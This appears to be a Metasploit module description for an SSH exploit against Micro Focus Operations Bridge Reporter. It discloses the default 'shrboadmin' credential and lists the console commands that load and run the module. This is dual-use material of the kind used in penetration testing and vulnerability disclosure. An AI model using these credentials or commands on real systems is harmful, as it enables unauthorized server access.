This module abuses a known default password on Micro Focus Operations Bridge Reporter. The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin', and allows an attacker to login to the server via SSH. This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier versions are most likely affected too. Note that this is only exploitable in Linux installations.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/ssh/microfocus_obr_shrboadmin
msf exploit(microfocus_obr_shrboadmin) > show targets
...targets...
msf exploit(microfocus_obr_shrboadmin) > set TARGET < target-id >
msf exploit(microfocus_obr_shrboadmin) > show options
...show and set options...
msf exploit(microfocus_obr_shrboadmin) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
